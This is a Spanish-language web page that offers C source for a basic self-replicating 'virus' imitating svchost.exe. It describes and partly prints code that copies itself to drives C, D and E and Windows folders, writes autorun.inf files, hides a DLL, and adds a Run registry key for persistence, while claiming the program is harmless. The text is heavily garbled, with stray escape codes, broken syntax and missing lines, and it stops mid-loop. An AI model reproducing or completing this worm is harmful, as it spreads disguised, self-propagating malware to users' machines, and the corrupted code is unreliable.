¿Cómo escribir un virus en lenguaje C? Antes de leer este programa, asegúrese de no utilizarlo para realizar actividades ilegales. De lo contrario, abandone el programa inmediatamente. El virus más básico. \x0d\La función de este virus:\x0d\1. Los archivos de virus se generan en la unidad c, unidad D, unidad E, c:\windows\system y c:\windows. \x0d\2. System\svchost.exe para que pueda ejecutarse automáticamente\x0d\4. Genere un archivo DLL oculto en C:\Windows\5. Los virus tienen la capacidad de correlacionarse con la replicación después de la ejecución. Este virus es similar al prototipo de un virus de disco USB normal y tiene la capacidad de replicarse y funcionar por sí mismo. El siguiente programa está compilado bajo DEV-CPP 4.9.9.2 (compilador GCC) y pasa \x0d\. Guárdelo como SVCHOST. c compilar y ejecutar. Este virus no es dañino para su computadora. Siéntase libre de investigar \x0d \/* svchost . c */\ x0d \/* SVCHOST.EXE * # Defina svchost. # include \ x0d \ # include \ x0d \ char * autorun = { "[autorun]\ n open = svchost.exe \ n \ n shell \ \ 1 = open \ n shell \ \ 1 \ \ Command = n shell \ \ 2\\Command=svchost.exe\nshellexecute=svchost.exe"};\x0d\char*files_autorun[10]={"c:\\autorun.INF","d:\\autorun.inf", "e :\\autorun.INF"};\x0d\char*files_SVCHOST[SVCHOST_NUM+1]= {"c:\\windows\\system\\ms mouse.
DLL ",\x0d\" c:\\windows\\system\\svchost.exe"," c:\\windows\\SVCHOST.exe",\ :\SVCHOST.exe","e:\SVCHOST.exe ","svchost.exe"};\x0d\char*regadd="reg add\"HKLM\\Software\\Microsoft\\Windows\\versión actual\\run\"/v SVCHOST /d C:\\Windows \\system\\SVCHOST .exe /f "int copy(char *archivo de entrada, char *archivo de salida)\x0d\{\x0d\FILE*entrada, * salida\ fopen(archivo de salida, " wb "))! =NULL)) \x0d\ {\x0d\ while(!feof(entrada))\ x0d \ { \x0d \ fread(& temp, 1, 1, entrada); \x0d \f write(& temp, 1, 1, salida); \x0d \ } \x0d \ fclose(entrada); \x0d\ fclose(salida); \x0d\return 0; \x0d\ }\x0d \else return 1;\x0d\}\x0d\int main(void)\ x0d\{\x0d\FILE *entrada, *salida\x0d\ int i,k;\x0d\for(I=0;i p>